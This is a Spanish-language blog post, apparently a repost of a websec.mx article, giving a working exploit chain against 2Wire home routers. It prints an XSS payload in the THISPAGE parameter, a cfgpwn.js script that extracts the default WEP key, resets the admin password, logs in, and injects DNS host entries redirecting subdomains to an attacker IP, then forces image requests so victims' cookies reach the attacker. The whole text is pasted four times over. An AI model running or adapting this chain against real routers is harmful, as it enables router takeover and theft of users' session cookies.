HACKER ANGELWHITE GALC

domingo, 6 de abril de 2014

Robo de cookies por router vulnerable (caso 2Wire)

Desde hace tiempo es conocido que los routers caseros están plagados de vulnerabilidades. En este caso mostramos como una serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente, permiten obtener remotamente los valores de las cookies de casi cualquier dominio.
El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un módem vulnerable,
2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de los dominios.

Utilizamos subdominios inexistentes por dos razones. Al usar un subdominio inexistente el navegador no tiene la dirección IP en el cache. Y la segunda razon es que en caso de que exista algún error, la comunicación con el dominio original no se pierde.
Los routers 2Wire han tenido múltiples vulnerabilidades en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting
Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:


http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>


Explotando el cross site scripting podemos estar en la misma zona del router y obtener acceso a sus propiedades, como la información de las páginas del router.

 Inyectamos un script que nos permite leer la información de la configuración debido a la vulnerabilidad de revelación de configuración. Leemos el archivo y obtenemos la WEP default:
cfgpwn.js:


try {
    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");
} catch(e) {
    xmlhttp = new XMLHttpRequest()
}
xmlhttp.open("GET","/xslt?page=mgmt_data",false);
xmlhttp.send(null);
var info = xmlhttp.responseText;
var pass = "temporal";
var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);


Utilizando la clave WEP default podemos definir una nueva contraseña de administración web. De la siguiente manera usamos la WEP para cambiar el password:


xmlhttp.open("POST","/xslt");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);



Ya que hemos definido un password, podemos obtener la sesión de administrador para obtener privilegios en el router. Para esto realizamos la siguiente petición:


xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);
xmlhttp.send(null);


Como administradores podemos agregar dominios a la lista de hosts. Agregamos subdominios de los dominios de los cuales queremos las cookies:


for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);
    xmlhttp.send(null);
}


Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:


for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
    document.write('<img src=http://'+dns+'>');
}


Todo esto se podría automatizar y realizar de forma oculta para la víctima. En el siguiente video se muestra la explotación de una forma visible:
- See more at: http://www.websec.mx/blog/ver/Robo_de_cookies_por_router_vulnerable_caso_2Wire#sthash.9u6FRTMt.dpuf


podemos observar en el siguiente video hay dejo el link 


https://www.youtube.com/watch?v=HqXDDhTjsWA&noredirect=1

Desde hace tiempo es conocido que los routers caseros están plagados de vulnerabilidades. En este caso mostramos como una serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente, permiten obtener remotamente los valores de las cookies de casi cualquier dominio.
El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un módem vulnerable,
2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de los dominios.

Utilizamos subdominios inexistentes por dos razones. Al usar un subdominio inexistente el navegador no tiene la dirección IP en el cache. Y la segunda razon es que en caso de que exista algún error, la comunicación con el dominio original no se pierde.
Los routers 2Wire han tenido múltiples vulnerabilidades en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting
Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:


http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>


Explotando el cross site scripting podemos estar en la misma zona del router y obtener acceso a sus propiedades, como la información de las páginas del router.
Inyectamos un script que nos permite leer la información de la configuración debido a la vulnerabilidad de revelación de configuración. Leemos el archivo y obtenemos la WEP default:
cfgpwn.js:


try {
    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");
} catch(e) {
    xmlhttp = new XMLHttpRequest()
}
xmlhttp.open("GET","/xslt?page=mgmt_data",false);
xmlhttp.send(null);
var info = xmlhttp.responseText;
var pass = "temporal";
var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);


Utilizando la clave WEP default podemos definir una nueva contraseña de administración web. De la siguiente manera usamos la WEP para cambiar el password:


xmlhttp.open("POST","/xslt");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);


Ya que hemos definido un password, podemos obtener la sesión de administrador para obtener privilegios en el router. Para esto realizamos la siguiente petición:


xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);
xmlhttp.send(null);


Como administradores podemos agregar dominios a la lista de hosts. Agregamos subdominios de los dominios de los cuales queremos las cookies:


for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);
    xmlhttp.send(null);
}


Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:


for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
    document.write('<img src=http://'+dns+'>');
}


Todo esto se podría automatizar y realizar de forma oculta para la víctima. En el siguiente video se muestra la explotación de una forma visible:
- See more at: http://www.websec.mx/blog/ver/Robo_de_cookies_por_router_vulnerable_caso_2Wire#sthash.9u6FRTMt.dpuf
Desde hace tiempo es conocido que los routers caseros están plagados de vulnerabilidades. En este caso mostramos como una serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente, permiten obtener remotamente los valores de las cookies de casi cualquier dominio.
El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un módem vulnerable,
2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de los dominios.

Utilizamos subdominios inexistentes por dos razones. Al usar un subdominio inexistente el navegador no tiene la dirección IP en el cache. Y la segunda razon es que en caso de que exista algún error, la comunicación con el dominio original no se pierde.
Los routers 2Wire han tenido múltiples vulnerabilidades en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting
Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:


http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>


Explotando el cross site scripting podemos estar en la misma zona del router y obtener acceso a sus propiedades, como la información de las páginas del router.
Inyectamos un script que nos permite leer la información de la configuración debido a la vulnerabilidad de revelación de configuración. Leemos el archivo y obtenemos la WEP default:
cfgpwn.js:


try {
    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");
} catch(e) {
    xmlhttp = new XMLHttpRequest()
}
xmlhttp.open("GET","/xslt?page=mgmt_data",false);
xmlhttp.send(null);
var info = xmlhttp.responseText;
var pass = "temporal";
var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);


Utilizando la clave WEP default podemos definir una nueva contraseña de administración web. De la siguiente manera usamos la WEP para cambiar el password:


xmlhttp.open("POST","/xslt");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);


Ya que hemos definido un password, podemos obtener la sesión de administrador para obtener privilegios en el router. Para esto realizamos la siguiente petición:


xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);
xmlhttp.send(null);


Como administradores podemos agregar dominios a la lista de hosts. Agregamos subdominios de los dominios de los cuales queremos las cookies:


for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);
    xmlhttp.send(null);
}


Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:


for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
    document.write('<img src=http://'+dns+'>');
}


Todo esto se podría automatizar y realizar de forma oculta para la víctima. En el siguiente video se muestra la explotación de una forma visible:
- See more at: http://www.websec.mx/blog/ver/Robo_de_cookies_por_router_vulnerable_caso_2Wire#sthash.9u6FRTMt.dpuf

Desde hace tiempo es conocido que los routers caseros están plagados de vulnerabilidades. En este caso mostramos como una serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente, permiten obtener remotamente los valores de las cookies de casi cualquier dominio.
El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un módem vulnerable,
2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de los dominios.

Utilizamos subdominios inexistentes por dos razones. Al usar un subdominio inexistente el navegador no tiene la dirección IP en el cache. Y la segunda razon es que en caso de que exista algún error, la comunicación con el dominio original no se pierde.
Los routers 2Wire han tenido múltiples vulnerabilidades en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting
Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:


http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>


Explotando el cross site scripting podemos estar en la misma zona del router y obtener acceso a sus propiedades, como la información de las páginas del router.
Inyectamos un script que nos permite leer la información de la configuración debido a la vulnerabilidad de revelación de configuración. Leemos el archivo y obtenemos la WEP default:
cfgpwn.js:


try {
    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");
} catch(e) {
    xmlhttp = new XMLHttpRequest()
}
xmlhttp.open("GET","/xslt?page=mgmt_data",false);
xmlhttp.send(null);
var info = xmlhttp.responseText;
var pass = "temporal";
var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);


Utilizando la clave WEP default podemos definir una nueva contraseña de administración web. De la siguiente manera usamos la WEP para cambiar el password:


xmlhttp.open("POST","/xslt");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);


Ya que hemos definido un password, podemos obtener la sesión de administrador para obtener privilegios en el router. Para esto realizamos la siguiente petición:


xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);
xmlhttp.send(null);


Como administradores podemos agregar dominios a la lista de hosts. Agregamos subdominios de los dominios de los cuales queremos las cookies:


for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);
    xmlhttp.send(null);
}


Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:


for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
    document.write('<img src=http://'+dns+'>');
}


Todo esto se podría automatizar y realizar de forma oculta para la víctima. En el siguiente video se muestra la explotación de una forma visible:
- See more at: http://www.websec.mx/blog/ver/Robo_de_cookies_por_router_vulnerable_caso_2Wire#sthash.9u6FRTMt.dpuf

No hay comentarios:

Publicar un comentario